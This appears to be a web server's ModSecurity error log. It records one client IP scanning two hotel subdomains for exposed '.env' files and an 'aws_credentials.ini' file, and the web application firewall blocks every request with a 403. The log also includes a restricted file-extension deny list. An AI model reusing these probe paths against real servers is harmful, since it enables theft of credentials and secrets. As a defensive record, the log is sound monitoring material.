[Sun Oct 25 04:06:27.367612 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "at24gwLaiqtlZaJBsx4X_gAAAA0"]
[Sun Oct 25 04:06:27.367791 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "at24gwLaiqtlZaJBsx4X_gAAAA0"]
[Sun Oct 25 04:06:27.368142 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/application/.env"] [unique_id "at24gwLaiqtlZaJBsx4X_gAAAA0"]
[Sun Oct 25 04:06:27.405103 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at24g4HtOs-nfC4GshpR3gAAABc"]
[Sun Oct 25 04:06:27.405241 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at24g4HtOs-nfC4GshpR3gAAABc"]
[Sun Oct 25 04:06:27.405507 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at24g4HtOs-nfC4GshpR3gAAABc"]
[Sun Oct 25 04:06:27.644927 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles1.sherwinpinturas.com"] [uri "/aws-codecommit/"] [unique_id "at24g568N771hz7W4KlseAAAAAw"]
[Sun Oct 25 04:06:27.644969 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles1.sherwinpinturas.com"] [uri "/aws-codecommit/"] [unique_id "at24g568N771hz7W4KlseAAAAAw"]
[Sun Oct 25 04:06:27.646824 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles2.sherwinpinturas.com"] [uri "/aws-codecommit/"] [unique_id "at24gwLaiqtlZaJBsx4YAQAAAA0"]
[Sun Oct 25 04:06:27.646848 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles2.sherwinpinturas.com"] [uri "/aws-codecommit/"] [unique_id "at24gwLaiqtlZaJBsx4YAQAAAA0"]
[Sun Oct 25 04:06:28.046583 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/aws_credentials.ini"] [unique_id "at24hKrU4NwppjTEGaL6wQAAAAY"]
[Sun Oct 25 04:06:28.046895 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/aws_credentials.ini"] [unique_id "at24hKrU4NwppjTEGaL6wQAAAAY"]
[Sun Oct 25 04:06:28.047220 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/aws_credentials.ini"] [unique_id "at24hKrU4NwppjTEGaL6wQAAAAY"]
[Sun Oct 25 04:06:28.073522 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/aws_credentials.ini"] [unique_id "at24hIHtOs-nfC4GshpR5QAAABc"]
[Sun Oct 25 04:06:28.073811 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/aws_credentials.ini"] [unique_id "at24hIHtOs-nfC4GshpR5QAAABc"]
[Sun Oct 25 04:06:28.074017 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/aws_credentials.ini"] [unique_id "at24hIHtOs-nfC4GshpR5QAAABc"]
[Sun Oct 25 04:06:28.076195 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /back-api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/back-api/.env"] [unique_id "at24hC7GhhaIo05efijDUgAAAAc"]
[Sun Oct 25 04:06:28.076318 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/back-api/.env"] [unique_id "at24hC7GhhaIo05efijDUgAAAAc"]
[Sun Oct 25 04:06:28.076597 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/back-api/.env"] [unique_id "at24hC7GhhaIo05efijDUgAAAAc"]
[Sun Oct 25 04:06:28.129905 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /back-end/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/back-end/.env"] [unique_id "at24hKrU4NwppjTEGaL6wgAAAAY"]
[Sun Oct 25 04:06:28.130086 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/back-end/.env"] [unique_id "at24hKrU4NwppjTEGaL6wgAAAAY"]
[Sun Oct 25 04:06:28.130402 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/back-end/.env"] [unique_id "at24hKrU4NwppjTEGaL6wgAAAAY"]
[Sun Oct 25 04:06:28.161498 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /back-api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/back-api/.env"] [unique_id "at24hALaiqtlZaJBsx4YBgAAAA0"]
[Sun Oct 25 04:06:28.161709 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/back-api/.env"] [unique_id "at24hALaiqtlZaJBsx4YBgAAAA0"]
[Sun Oct 25 04:06:28.162039 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/back-api/.env"] [unique_id "at24hALaiqtlZaJBsx4YBgAAAA0"]
[Sun Oct 25 04:06:28.163068 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /back/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/back/.env"] [unique_id "at24hLQKh4dfs72fmHxwLwAAAAE"]
[Sun Oct 25 04:06:28.163180 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/back/.env"] [unique_id "at24hLQKh4dfs72fmHxwLwAAAAE"]
[Sun Oct 25 04:06:28.163461 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/back/.env"] [unique_id "at24hLQKh4dfs72fmHxwLwAAAAE"]
[Sun Oct 25 04:06:28.164439 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /back-end/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/back-end/.env"] [unique_id "at24hIHtOs-nfC4GshpR5gAAABc"]
[Sun Oct 25 04:06:28.164570 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/back-end/.env"] [unique_id "at24hIHtOs-nfC4GshpR5gAAABc"]
[Sun Oct 25 04:06:28.164808 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/back-end/.env"] [unique_id "at24hIHtOs-nfC4GshpR5gAAABc"]
[Sun Oct 25 04:06:28.165740 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend-api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/backend-api/.env"] [unique_id "at24hJ68N771hz7W4KlsfQAAAAw"]
[Sun Oct 25 04:06:28.165850 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/backend-api/.env"] [unique_id "at24hJ68N771hz7W4KlsfQAAAAw"]
[Sun Oct 25 04:06:28.166075 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/backend-api/.env"] [unique_id "at24hJ68N771hz7W4KlsfQAAAAw"]
[Sun Oct 25 04:06:28.184210 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at24hC7GhhaIo05efijDUwAAAAc"]
[Sun Oct 25 04:06:28.318203 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at24hC7GhhaIo05efijDUwAAAAc"]
[Sun Oct 25 04:06:28.318516 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at24hC7GhhaIo05efijDUwAAAAc"]
[Sun Oct 25 04:06:28.265876 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /back/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/back/.env"] [unique_id "at24hALaiqtlZaJBsx4YBwAAAA0"]
[Sun Oct 25 04:06:28.335867 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/back/.env"] [unique_id "at24hALaiqtlZaJBsx4YBwAAAA0"]
[Sun Oct 25 04:06:28.336113 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/back/.env"] [unique_id "at24hALaiqtlZaJBsx4YBwAAAA0"]
